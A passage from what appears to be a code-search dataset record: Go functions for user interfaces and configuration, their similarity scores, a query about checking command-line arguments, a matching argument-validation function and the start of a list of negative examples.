w.txtURL.Text()\n\tc.RefreshInterval, _ = strconv.Atoi(w.txtRefreshInterval.Text())\n\tmaxA, _ := strconv.Atoi(w.txtMaxArticles.Text())\n\tif maxA > c.MaxArticles {\n\t\trestartRequired = true\n\t}\n\tc.MaxArticles = maxA\n\tc.DelayAfterStart, _ = strconv.Atoi(w.txtDelayStart.Text())\n\n\tif c.Autostart != w.cbAutostart.IsChecked() {\n\t\tc.autostartChanged = true\n\t}\n\n\tc.Autostart = w.cbAutostart.IsChecked()\n\tc.ErrorNotifications = w.cbErrorNotifications.IsChecked()\n\tc.HideNoNews = w.cbHideWhenRead.IsChecked()\n\n\tif c.SetCategoriesFromBranch != w.cbSetCatBranch.IsChecked() {\n\t\trestartRequired = true\n\t\tc.SetCategoriesFromBranch = w.cbSetCatBranch.IsChecked()\n\t}\n\n\tcats := []string{}\n\tfor i := 0; i < w.listCategories.Count(); i++ {\n\t\tif w.listCategories.Item(i).IsSelected() {\n\t\t\tcats = append(cats, w.listCategories.Item(i).Text())\n\t\t}\n\t}\n\tif c.SetCategoriesFromBranch {\n\t\tif !stringSEqual(c.AddCategoriesBranch, cats) {\n\t\t\tc.AddCategoriesBranch = cats\n\t\t\trestartRequired = true\n\t\t}\n\t} else {\n\t\tif !stringSEqual(c.Categories, cats) {\n\t\t\tc.Categories = cats\n\t\t\trestartRequired = true\n\t\t}\n\t}\n\tif restartRequired {\n\t\tfmt.Println(\"restart required\")\n\t\tt.Icon.ShowMessage2(\"Manjaro News - Information\", \"You've changed setting which require a restart of mntray. Please restart me.\", ico, 5000)\n\t}\n}", "func startAddAccount(ctx context.Context, kb *input.KeyboardEventWriter, ui *uiauto.Context, email string) error {\n\t// All nodes in the dialog should be inside the `root`.\n\troot := AddAccountDialog()\n\n\t// Click OK.\n\tokButton := nodewith.NameRegex(regexp.MustCompile(\"(OK|Continue)\")).Role(role.Button).Ancestor(root)\n\tif err := uiauto.Combine(\"Click on OK and proceed\",\n\t\tui.WaitUntilExists(okButton),\n\t\tui.LeftClick(okButton),\n\t)(ctx); err != nil {\n\t\treturn errors.Wrap(err, \"failed to click OK. Is Account addition dialog open?\")\n\t}\n\n\t// Use long timeout to wait for the initial Gaia webpage load.\n\tif err := ui.WithTimeout(LongUITimeout).WaitUntilExists(nodewith.Role(role.Iframe).Ancestor(root))(ctx); err != nil {\n\t\treturn errors.Wrap(err, \"failed to find the iframe\")\n\t}\n\n\temailField := nodewith.Name(\"Email or phone\").Role(role.TextField).Ancestor(root)\n\tbackButton := nodewith.Name(\"Back\").Role(role.Button).Ancestor(root)\n\t// After the iframe loads, the ui tree may not get updated. In this case only one retry (which hides and then shows the iframe again) is required.\n\t// TODO(b/211420351): remove this when the issue is fixed.\n\tif err := ui.Retry(2, func(ctx context.Context) error {\n\t\tif err := uiauto.Combine(\"Click on Username\",\n\t\t\tui.WaitUntilExists(emailField),\n\t\t\tui.LeftClickUntil(emailField, ui.Exists(emailField.Focused())),\n\t\t)(ctx); err == nil {\n\t\t\t// The email field input is found, the test can proceed.\n\t\t\treturn nil\n\t\t}\n\n\t\ttesting.ContextLog(ctx, \"Couldn't find and click on user name inside the iframe node. Refreshing the ui tree\")\n\t\t// Click 'Back' and then 'OK' to refresh the ui tree.\n\t\t// Note: This should be fast because it will just hide and show the webview/iframe node, but will not reload the webpage.\n\t\tif err := uiauto.Combine(\"Click 'Back' and 'OK' to refresh the iframe\",\n\t\t\tui.WaitUntilExists(backButton),\n\t\t\tui.LeftClick(backButton),\n\t\t\tui.WaitUntilExists(okButton),\n\t\t\tui.LeftClick(okButton),\n\t\t)(ctx); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to click 'Back' and 'OK' to refresh the iframe\")\n\t\t}\n\n\t\treturn errors.New(\"failed to find and click on user name inside the iframe\")\n\t})(ctx); err != nil {\n\t\treturn errors.Wrap(err, \"failed to click on user name\")\n\t}\n\n\treturn nil\n}", "func NewUICommand() *UICommand {\n\tc := &UICommand{\n\t\tCommandDefaults: NewCommandDefaults(),\n\t\tfs: flag.NewFlagSet(\"ui\", flag.ContinueOnError),\n\t\tconfig: envStrWithDefault(\"WGMESH_CONFIG\", \"\"),\n\t\tmeshConfig: config.NewDefaultConfig(),\n\t}\n\n\tc.fs.StringVar(&c.config, \"config\", c.config, \"file name of config file (optional).\\nenv:WGMESH_cONFIG\")\n\tc.fs.StringVar(&c.meshConfig.Agent.GRPCSocket, \"agent-grpc-socket\", c.meshConfig.Agent.GRPCSocket, \"agent socket to dial\")\n\tc.fs.StringVar(&c.meshConfig.UI.HTTPBindAddr, \"http-bind-addr\", c.meshConfig.UI.HTTPBindAddr, \"HTTP bind address\")\n\tc.fs.IntVar(&c.meshConfig.UI.HTTPBindPort, \"http-bind-port\", c.meshConfig.UI.HTTPBindPort, \"HTTP bind port\")\n\n\tc.DefaultFields(c.fs)\n\n\treturn c\n}", "func NewGUI(cfg *Config, hub *network.Hub, db *bolt.DB) (*GUI, error) {\n\tui := &GUI{\n\t\tcfg: cfg,\n\t\thub: hub,\n\t\tdb: db,\n\t}\n\n\t// Fetch or generate the CSRF secret.\n\terr := db.Update(func(tx *bolt.Tx) error {\n\t\tpbkt := tx.Bucket(database.PoolBkt)\n\n\t\tCSRFSecret := pbkt.Get(database.CSRFSecret)\n\t\tif CSRFSecret == nil {\n\t\t\tlog.Info(\"CSRF secret value not found in db, initializing.\")\n\n\t\t\tCSRFSecret = ui.GenerateSecret()\n\t\t\terr := pbkt.Put(database.CSRFSecret, CSRFSecret)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif CSRFSecret != nil {\n\t\t\tui.cfg.CSRFSecret = CSRFSecret\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tui.cookieStore = sessions.NewCookieStore(cfg.CSRFSecret)\n\tui.loadTemplates()\n\tui.route()\n\n\tui.server = &http.Server{\n\t\tAddr: fmt.Sprintf(\"0.0.0.0:%v\", cfg.GUIPort),\n\t\tWriteTimeout: time.Second * 30,\n\t\tReadTimeout: time.Second * 5,\n\t\tIdleTimeout: time.Second * 30,\n\t\tHandler: ui.router,\n\t}\n\n\treturn ui, nil\n}", "func Configure(app *aero.Application) {\n\tl := layout.New(app)\n\n\t// Set render function for the layout\n\tl.Render = fullpage.Render\n\n\t// Main menu\n\tl.Page(\"/\", frontpage.Get)\n\tl.Page(\"/experiments\", experiments.Get)\n\tl.Page(\"/articles\", articles.Get)\n\tl.Page(\"/animations\", animations.Get)\n}", "func ConfigShow() error {\n\n\tfmt.Printf(\"\\nCurrently saved values:\\n\")\n\n\tif Config.Secure {\n\t\tfmt.Printf(\" -https\\n\")\n\t} else {\n\t\tfmt.Printf(\" -http\\n\")\n\t}\n\n\tif Config.Hub != \"\" && Config.Hub != notehub.DefaultAPIService {\n\t\tfmt.Printf(\" -hub %s\\n\", Config.Hub)\n\t}\n\tif Config.App != \"\" {\n\t\tfmt.Printf(\" -app %s\\n\", Config.App)\n\t}\n\tif Config.Product != \"\" {\n\t\tfmt.Printf(\" -product %s\\n\", Config.Product)\n\t}\n\tif Config.Device != \"\" {\n\t\tfmt.Printf(\" -device %s\\n\", Config.Device)\n\t}\n\tif Config.Root != \"\" {\n\t\tfmt.Printf(\" -root %s\\n\", Config.Root)\n\t}\n\tif Config.Cert != \"\" {\n\t\tfmt.Printf(\" -cert %s\\n\", Config.Cert)\n\t}\n\tif Config.Key != \"\" {\n\t\tfmt.Printf(\" -key %s\\n\", Config.Key)\n\t}\n\tif Config.Interface != \"\" {\n\t\tfmt.Printf(\" -interface %s\\n\", Config.Interface)\n\t\tif Config.Port == \"\" {\n\t\t\tfmt.Printf(\" -port -\\n\")\n\t\t\tfmt.Printf(\" -portconfig -\\n\")\n\t\t} else {\n\t\t\tfmt.Printf(\" -port %s\\n\", Config.Port)\n\t\t\tfmt.Printf(\" -portconfig %d\\n\", Config.PortConfig)\n\t\t}\n\t}\n\n\treturn nil\n\n}", "func Run() {\n\tlog.Printf(\"[%s] starting ui\", tag)\n\n\t// stream list\n\tstreamList := cview.NewList()\n\tstreamList.\n\t\tClear().\n\t\tSetHighlightFullLine(true).\n\t\tShowSecondaryText(false).\n\t\tSetBorder(true).\n\t\tSetBorderColor(tcell.ColorBlue).\n\t\tSetTitle(\" 📻 streams \").\n\t\tSetTitleAlign(cview.AlignLeft)\n\n\tfor _, stationID := range streams.StreamStationIDs {\n\t\tstreamList.AddItem(streams.Streams[stationID].Stream, \"\", 0, nil)\n\t}\n\n\t// now playing\n\tnowplaying := cview.NewTextView()\n\tnowplaying.\n\t\tSetText(\"...\").\n\t\tSetTextAlign(cview.AlignCenter).\n\t\tSetTitle(\" 🎵 now playing \").\n\t\tSetTitleAlign(cview.AlignLeft).\n\t\tSetBorderColor(tcell.ColorOrange).\n\t\tSetBorder(true)\n\n\tstreamList.SetSelectedFunc(func(idx int, maintext string, secondarytext string, shortcut rune) {\n\t\tlog.Printf(\"[%s] selected stream changed\", tag)\n\n\t\tstationID := streams.StreamStationIDs[idx]\n\t\turl := \"http:\" + streams.Streams[stationID].URLHigh\n\t\tnowplaying.SetText(streams.Streams[stationID].Stream)\n\n\t\tlog.Printf(\"[%s] playing %s from url %s\", tag, streams.Streams[stationID].Stream, url)\n\t\tplayer.Stop()\n\t\tplayer.Play(url)\n\t})\n\n\t// main layout\n\tflex := cview.NewFlex().\n\t\tSetDirection(cview.FlexRow).\n\t\tAddItem(streamList, 0, 1, true).\n\t\tAddItem(nowplaying, 3, 1, false)\n\n\tapp.SetInputCapture(handleKeyEvent)\n\tif err := app.SetRoot(flex, true).Run(); err != nil {\n\t\tlog.Fatalf(\"[%s] ui initialization failed: %d\", tag, err)\n\t}\n}", "func (i *irisControlPlugin) startControlPanel() {\n\n\t// install the assets first\n\tif err := i.installAssets(); err != nil {\n\t\ti.pluginContainer.Printf(\"[%s] %s Error %s: Couldn't install the assets from the internet,\\n make sure you are connecting to the internet the first time running the iris-control plugin\", time.Now().UTC().String(), Name, err.Error())\n\t\ti.Destroy()\n\t\treturn\n\t}\n\n\ti.server = iris.New()\n\ti.server.Config().Render.Template.Directory = installationPath + \"templates\"\n\t//i.server.SetRenderConfig(i.server.Config.Render)\n\ti.setPluginsInfo()\n\ti.setPanelRoutes()\n\n\tgo i.server.Listen(strconv.Itoa(i.options.Port))\n\ti.pluginContainer.Printf(\"[%s] %s is running at port %d with %d authenticated users\", time.Now().UTC().String(), Name, i.options.Port, len(i.auth.authenticatedUsers))\n\n}", "func init() {\n\timports.Packages[\"gioui.org/app\"] = imports.Package{\n\tName: \"app\",\n\tBinds: map[string]r.Value{\n\t\t\"DataDir\":\tr.ValueOf(app.DataDir),\n\t\t\"Main\":\tr.ValueOf(app.Main),\n\t\t\"MaxSize\":\tr.ValueOf(app.MaxSize),\n\t\t\"MinSize\":\tr.ValueOf(app.MinSize),\n\t\t\"NewWindow\":\tr.ValueOf(app.NewWindow),\n\t\t\"Size\":\tr.ValueOf(app.Size),\n\t\t\"Title\":\tr.ValueOf(app.Title),\n\t}, Types: map[string]r.Type{\n\t\t\"Option\":\tr.TypeOf((*app.Option)(nil)).Elem(),\n\t\t\"Window\":\tr.TypeOf((*app.Window)(nil)).Elem(),\n\t}, \n\t}\n}", "func (ui *UI) SetEvents() {\n\ttermui.Handle(\"/sys/kbd/C-c\", func(termui.Event) {\n\t\ttermui.StopLoop()\n\t})\n\n\ttermui.Handle(\"/sys/kbd/C-r\", func(termui.Event) {\n\t\tui.triggerInstancesUpdate()\n\t})\n\n\ttermui.Handle(\"/usr/instances\", func(e termui.Event) {\n\t\tui.instances = e.Data.([]*ec2.Instance)\n\t\tui.filterInstancesToDisplay()\n\t\tui.refreshInstancesTable()\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/usr/errors\", func(e termui.Event) {\n\t\tif e.Data != nil {\n\t\t\tui.err = e.Data.(error)\n\t\t\tui.refreshErrorMsg(ui.err)\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<enter>\", func(termui.Event) {\n\t\tif ui.selectedRow > 0 && (ui.selectedRow+ui.startRow-1) < len(ui.displayedInstances) {\n\t\t\texec.Command(\"open\", \"ssh://\"+*ui.displayedInstances[ui.selectedRow+ui.startRow-1].PublicDnsName).Start()\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<up>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(UP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<down>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(DOWN)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<home>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(TOP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<previous>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(TOP)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<end>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(BOTTOM)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<next>\", func(termui.Event) {\n\t\toldStartRow := ui.startRow\n\t\tui.scroll(BOTTOM)\n\t\tnewStartRow := ui.startRow\n\t\tif oldStartRow != newStartRow {\n\t\t\tui.refreshInstancesTable()\n\t\t}\n\t\ttermui.Render(termui.Body)\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<left>\", func(termui.Event) { /*ignore*/ })\n\ttermui.Handle(\"/sys/kbd/<right>\", func(termui.Event) { /*ignore*/ })\n\n\ttermui.Handle(\"/sys/kbd/C-8\", func(termui.Event) {\n\t\tif len(ui.searchBox.Text) > 0 {\n\t\t\tui.searchBox.Text = ui.searchBox.Text[:len(ui.searchBox.Text)-1]\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd/<backspace>\", func(termui.Event) {\n\t\tif len(ui.searchBox.Text) > 0 {\n\t\t\tui.searchBox.Text = ui.searchBox.Text[:len(ui.searchBox.Text)-1]\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/kbd\", func(e termui.Event) {\n\t\tif len(ui.searchBox.Text) < 60 {\n\t\t\tkey := strings.Split(e.Path, \"/\")[3]\n\t\t\tui.searchBox.Text = ui.searchBox.Text + (key)\n\t\t\tui.filterInstancesToDisplay()\n\t\t\tui.refreshInstancesTable()\n\t\t\ttermui.Render(termui.Body)\n\t\t}\n\t})\n\n\ttermui.Handle(\"/sys/wnd/resize\", func(termui.Event) {\n\t\ttermui.Body.Width = termui.TermWidth()\n\t\ttermui.Body.Align()\n\t\ttermui.Clear()\n\t\ttermui.Render(termui.Body)\n\t})\n}", "func Init(uiView View) <-chan termui.Event {\n\tif !uiView.UIEnabled {\n\t\tInitNoUI(uiView)\n\t\treturn nil\n\t}\n\tif err := ui.Init(); err != nil {\n\t\tlog.Fatalf(\"failed to initialize termui: %v\", err)\n\t}\n\treturn ui.PollEvents()\n}", "func addUIRoutes(router *mux.Router, fsc *frontendServerConfig, handlers *web.Handlers) {\n\t// Serve static assets (JS and CSS Webpack bundles, images, etc.).\n\t//\n\t// Note that this includes the raw HTML templates (e.g. /dist/byblame.html) with unpopulated\n\t// placeholders such as {{.Title}}. These aren't used directly by client code. We should probably\n\t// unexpose them and only serve the JS/CSS Webpack bundles from this route (and any other static\n\t// assets such as the favicon).\n\trouter.PathPrefix(\"/dist/\").Handler(http.StripPrefix(\"/dist/\", http.HandlerFunc(web.MakeResourceHandler(fsc.ResourcesPath))))\n\n\tvar templates *template.Template\n\n\tloadTemplates := func() {\n\t\ttemplates = template.Must(template.New(\"\").ParseGlob(filepath.Join(fsc.ResourcesPath, \"*.html\")))\n\t}\n\n\tloadTemplates()\n\n\tfsc.FrontendConfig.BaseRepoURL = fsc.GitRepoURL\n\tfsc.FrontendConfig.IsPublic = fsc.IsPublicView\n\n\ttemplateHandler := func(name string) http.HandlerFunc {\n\t\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\n\t\t\t// Reload the template if we are running locally.\n\t\t\tif fsc.Local {\n\t\t\t\tloadTemplates()\n\t\t\t}\n\t\t\tif err := templates.ExecuteTemplate(w, name, fsc.FrontendConfig); err != nil {\n\t\t\t\tsklog.Errorf(\"Failed to expand template %s : %s\", name, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t// These routes serve the web UI.\n\trouter.HandleFunc(\"/\", templateHandler(\"byblame.html\"))\n\trouter.HandleFunc(\"/changelists\", templateHandler(\"changelists.html\"))\n\trouter.HandleFunc(\"/cluster\", templateHandler(\"cluster.html\"))\n\trouter.HandleFunc(\"/triagelog\", templateHandler(\"triagelog.html\"))\n\trouter.HandleFunc(\"/ignores\", templateHandler(\"ignorelist.html\"))\n\trouter.HandleFunc(\"/diff\", templateHandler(\"diff.html\"))\n\trouter.HandleFunc(\"/detail\", templateHandler(\"details.html\"))\n\trouter.HandleFunc(\"/details\", templateHandler(\"details.html\"))\n\trouter.HandleFunc(\"/list\", templateHandler(\"by_test_list.html\"))\n\trouter.HandleFunc(\"/help\", templateHandler(\"help.html\"))\n\trouter.HandleFunc(\"/search\", templateHandler(\"search.html\"))\n\trouter.HandleFunc(\"/cl/{system}/{id}\", handlers.ChangelistSearchRedirect)\n}", "func (pg *AppOverviewPage) HandleUserInteractions() {\n\tbackupLater := pg.WL.MultiWallet.ReadBoolConfigValueForKey(load.SeedBackupNotificationConfigKey, false)\n\tneedBackup := pg.WL.MultiWallet.NumWalletsNeedingSeedBackup() > 0\n\tif needBackup && !backupLater && !pg.isBackupModalOpened {\n\t\tpg.showBackupInfo()\n\t\tpg.isBackupModalOpened = true\n\t}\n\n\tautoSync := pg.WL.MultiWallet.ReadBoolConfigValueForKey(load.AutoSyncConfigKey, false)\n\tpg.autoSyncSwitch.SetChecked(autoSync)\n\n\tif pg.toMixer.Button.Clicked() {\n\t\tif len(pg.mixerWallets) == 1 {\n\t\t\tpg.ParentNavigator().Display(privacy.NewAccountMixerPage(pg.Load, pg.mixerWallets[0]))\n\t\t}\n\t\tpg.ParentNavigator().Display(wPage.NewWalletPage(pg.Load))\n\t}\n\n\tif pg.syncClickable.Clicked() {\n\t\tif pg.WL.MultiWallet.IsRescanning() {\n\t\t\tpg.WL.MultiWallet.CancelRescan()\n\t\t} else {\n\t\t\t// If connected to the Decred network disable button. Prevents multiple clicks.\n\t\t\tif pg.WL.MultiWallet.IsConnectedToDecredNetwork() {\n\t\t\t\tpg.syncClickable.SetEnabled(false, nil)\n\t\t\t}\n\n\t\t\t// On exit update button state.\n\t\t\tgo func() {\n\t\t\t\tpg.ToggleSync()\n\t\t\t\tif !pg.syncClickable.Enabled() {\n\t\t\t\t\tpg.syncClickable.SetEnabled(true, nil)\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\n\tif pg.toTransactions.Button.Clicked() {\n\t\tpg.ParentNavigator().Display(tPage.NewTransactionsPage(pg.Load))\n\t}\n\n\tif clicked, selectedItem := pg.transactionsList.ItemClicked(); clicked {\n\t\tpg.ParentNavigator().Display(tPage.NewTransactionDetailsPage(pg.Load, &pg.transactions[selectedItem]))\n\t}\n\n\tif pg.toggleSyncDetails.Clicked() {\n\t\tpg.syncDetailsVisibility = !pg.syncDetailsVisibility\n\t\tif pg.syncDetailsVisibility {\n\t\t\tpg.toggleSyncDetails.Text = values.String(values.StrHideDetails)\n\t\t} else {\n\t\t\tpg.toggleSyncDetails.Text = values.String(values.StrShowDetails)\n\t\t}\n\t}\n\n\tfor pg.toProposals.Button.Clicked() {\n\t\tpg.ParentNavigator().Display(gPage.NewProposalsPage(pg.Load))\n\t}\n\n\tif clicked, selectedItem := pg.proposalsList.ItemClicked(); clicked {\n\t\tpg.proposalMu.Lock()\n\t\tselectedProposal := pg.proposalItems[selectedItem].Proposal\n\t\tpg.proposalMu.Unlock()\n\n\t\tpg.ParentNavigator().Display(gPage.NewProposalDetailsPage(pg.Load, &selectedProposal))\n\t}\n\n\tif pg.autoSyncSwitch.Changed() {\n\t\tpg.WL.MultiWallet.SaveUserConfigValue(load.AutoSyncConfigKey, pg.autoSyncSwitch.IsChecked())\n\t}\n\n}", "func RegisterUIHandlers(r pure.IRouteGroup) {\n\tr.Get(\"\", uiTasks)\n\tr.Get(\"/:task\", uiTaskSingle)\n}", "func (ws *WindowSurface) Configure() {\n\tws.txtSimStatus = NewText(ws.nFont, ws.renderer)\n\terr := ws.txtSimStatus.SetText(\"Sim Status: \", sdl.Color{R: 0, G: 0, B: 255, A: 255})\n\tif err != nil {\n\t\tws.Close()\n\t\tpanic(err)\n\t}\n\n\tws.txtFPSLabel = NewText(ws.nFont, ws.renderer)\n\terr = ws.txtFPSLabel.SetText(\"FPS: \", sdl.Color{R: 200, G: 200, B: 200, A: 255})\n\tif err != nil {\n\t\tws.Close()\n\t\tpanic(err)\n\t}\n\n\tws.txtMousePos = NewText(ws.nFont, ws.renderer)\n\terr = ws.txtMousePos.SetText(\"Mouse: \", sdl.Color{R: 200, G: 200, B: 200, A: 255})\n\tif err != nil {\n\t\tws.Close()\n\t\tpanic(err)\n\t}\n\n\tws.txtLoopLabel = NewText(ws.nFont, ws.renderer)\n\terr = ws.txtLoopLabel.SetText(\"Loop: \", sdl.Color{R: 200, G: 200, B: 200, A: 255})\n\tif err != nil {\n\t\tws.Close()\n\t\tpanic(err)\n\t}\n\n\tws.dynaTxt = NewDynaText(ws.nFont, ws.renderer, sdl.Color{R: 255, G: 255, B: 255, A: 255})\n}", "func New(header string) *UI {\n\treturn &UI{\n\t\tHeader: header,\n\t}\n}" ]
[ "0.6933391", "0.6699711", "0.66008276", "0.6512188", "0.6487177", "0.64852494", "0.64819866", "0.6439937", "0.63235915", "0.6273671", "0.6092615", "0.6066454", "0.60654086", "0.6037525", "0.595742", "0.5934977", "0.5905563", "0.57556975", "0.57553554", "0.574902", "0.5715195", "0.5674493", "0.56703645", "0.5621848", "0.55586034", "0.5540772", "0.55356455", "0.55239695", "0.548317", "0.5469839", "0.54694015", "0.5449307", "0.54334605", "0.54334605", "0.5369707", "0.5368894", "0.5360439", "0.5349413", "0.5314592", "0.52911764", "0.52042323", "0.51780504", "0.51545626", "0.5149342", "0.51485384", "0.5110699", "0.5104288", "0.5093105", "0.5081191", "0.5073402", "0.5068224", "0.50676924", "0.5063848", "0.5052707", "0.5026774", "0.5025183", "0.50203806", "0.5010657", "0.5008723", "0.50057906", "0.4997899", "0.49791437", "0.49567667", "0.49564844", "0.49490637", "0.49355763", "0.49165756", "0.48850223", "0.48754665", "0.4865992", "0.48632684", "0.48595324", "0.48570442", "0.4844016", "0.48207006", "0.4816778", "0.48153076", "0.48009256", "0.47972685", "0.4782581", "0.4760869", "0.47490475", "0.4737439", "0.4714774", "0.46894962", "0.46885487", "0.46834496", "0.4678623", "0.4674436", "0.46723995", "0.46696308", "0.4654143", "0.46348312", "0.4627569", "0.46224895", "0.46201953", "0.4587626", "0.45844272", "0.4582468", "0.45714602" ]
0.7271574
0
checkArguments checks command line arguments
func checkArguments(url, dir string) { if !httputil.IsURL(url) { printErrorAndExit("Url %s doesn't look like valid url", url) } if !fsutil.IsExist(dir) { printErrorAndExit("Directory %s does not exist", dir) } if !fsutil.IsDir(dir) { printErrorAndExit("Target %s is not a directory", dir) } if !fsutil.IsReadable(dir) { printErrorAndExit("Directory %s is not readable", dir) } if !fsutil.IsExecutable(dir) { printErrorAndExit("Directory %s is not executable", dir) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func validateArguments(args ...string) error {\n\tif args == nil {\n\t\treturn errors.New(\"No command line args were specified\")\n\t}\n\tfor _, arg := range args {\n\t\tif arg == \"\" {\n\t\t\treturn errors.New(\"Unspecified required command line args\")\n\t\t}\n\t}\n\treturn nil\n}", "func CheckArguments(arguments []Argument, min int, max int, fname string, usage string) (int, ErrorValue) {\n\targLen := len(arguments)\n\tif argLen < min || argLen > max {\n\t\treturn argLen, NewErrorValue(fmt.Sprintf(\"Invalid call to %s. Usage: %s %s\", fname, fname, usage))\n\t}\n\treturn argLen, nil\n}", "func (s service) checkArgs() error {\n\tif len(s.args) < 1 {\n\t\treturn errors.New(\"no file added as a command line argument\")\n\t}\n\n\tif s.args[0] == \"\" {\n\t\treturn errors.New(\"filename cannot be empty\")\n\t}\n\n\treturn nil\n}", "func checkArgs() error {\n\tnargs := len(os.Args)\n\tpiped := isPiped()\n\tswitch {\n\tcase (2 != nargs) && piped:\n\t\treturn PipeArgErr\n\tcase (3 != nargs) && !piped:\n\t\treturn FileArgErr\n\t}\n\treturn nil\n}", "func checkArguments(hash string, privateKey string) bool {\n\t// easy check\n\t// if len(hash) != 46 || len(privateKey) != 64 {\n\t// \treturn false\n\t// }\n\n\treturn true\n}", "func (cmd *Command) checkArgs(args []string) {\n\tif len(args) < cmd.MinArgs {\n\t\tsyntaxError()\n\t\tfmt.Fprintf(os.Stderr, \"Command %s needs %d arguments mininum\\n\", cmd.Name, cmd.MinArgs)\n\t\tos.Exit(1)\n\t} else if len(args) > cmd.MaxArgs {\n\t\tsyntaxError()\n\t\tfmt.Fprintf(os.Stderr, \"Command %s needs %d arguments maximum\\n\", cmd.Name, cmd.MaxArgs)\n\t\tos.Exit(1)\n\t}\n}", "func (Interface *LineInterface) ValidateArguments() {\n\tif len(os.Args) < 2 {\n\t\tInterface.PrintUsage()\n\t\truntime.Goexit()\n\t}\n}", "func (args *CliArgs) checkArgs() {\n\t// print all filed of the object\n\tif !(args.startPage > 0 && args.endPage > 0 && args.endPage-args.startPage >= 0) {\n\t\tfmt.Fprintf(os.Stderr, \"start page and end page should be positive and endpage should be bigger than startpage\")\n\t\tos.Exit(1)\n\t}\n\n\tif args.isFtype {\n\t\tif args.lineNumPerPage != specialNum {\n\t\t\tfmt.Fprintln(os.Stderr, \"Fatal: setting -f and -l simultaneously is not allowed\")\n\t\t\tos.Exit(1)\n\t\t}\n\t} else {\n\t\tif args.lineNumPerPage == specialNum {\n\t\t\targs.lineNumPerPage = defaultLineNum\n\t\t} else if args.lineNumPerPage < 0 {\n\t\t\tfmt.Fprintln(os.Stderr, \"Fatal: the linenum should be positive\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t// set default number of linenumber\n\tif pflag.NArg() != 0 {\n\t\targs.inFilename = pflag.Args()[0]\n\t}\n\n\tfmt.Printf(\"%+v\", args)\n}", "func checkArguments() {\n\tif len(dockerRegistryUrl) == 0 {\n\t\tlog.Fatalln(\"Environment Variable 'DOCKER_REGISTRY_URL' not set\")\n\t}\n\n\tif len(replaceRegistryUrl) == 0 {\n\t\tlog.Fatalln(\"Environment Variable 'REPLACE_REGISTRY_URL' not set\")\n\t}\n\n\t_, err := strconv.ParseBool(replaceRegistryUrl)\n\tif err != nil {\n\t\tlog.Fatalln(\"Invalid Value in Environment Variable 'REPLACE_REGISTRY_URL'\")\n\t}\n}", "func (cmd *ConditionCommand) ValidateArguments() error {\n\n\t// ensure that the specified files exist and are readable\n\tfiles := []string{cmd.inFilePath}\n\tfor _, path := range files {\n\t\tif len(path) > 0 {\n\t\t\tfile, err := os.Open(path)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfile.Close()\n\t\t}\n\t}\n\n\treturn nil\n}", "func (c *MigrationsCmd) CheckArgs(cmd *cobra.Command, args []string) error {\n\treturn nil\n}", "func checkArgs() (string, error) {\n\t//Fetch the command line arguments.\n\targs := os.Args\n\n\t//Check the length of the arugments, return failure if they are too\n\t//long or too short.\n\tif len(args) > 2 {\n\t\treturn \"\", errors.New(\"Invalid number of arguments. \\n\" +\n\t\t\t\" Please provide the file name with relative path\" +\n\t\t\t\" of the csv data input file!\\n\")\n\t}\n\tfile_path := args[1]\n\t//On success, return the file_path and isSort value\n\treturn file_path, nil\n}", "func CheckArgsLength(args []string, expectedLength int) error {\r\n\tif len(args) != expectedLength {\r\n\t\treturn fmt.Errorf(\"invalid number of arguments. Expected %v, got %v\", expectedLength, len(args))\r\n\t}\r\n\treturn nil\r\n}", "func checkArgs(nargs int, errMsg string) func(cmd *cobra.Command, args []string) error {\n\treturn func(cmd *cobra.Command, args []string) error {\n\t\tif len(args) != nargs {\n\t\t\treturn errors.Errorf(errMsg)\n\t\t}\n\t\treturn nil\n\t}\n}", "func checkArgs() (string, bool, error) {\n\t//Fetch the command line arguments.\n\targs := 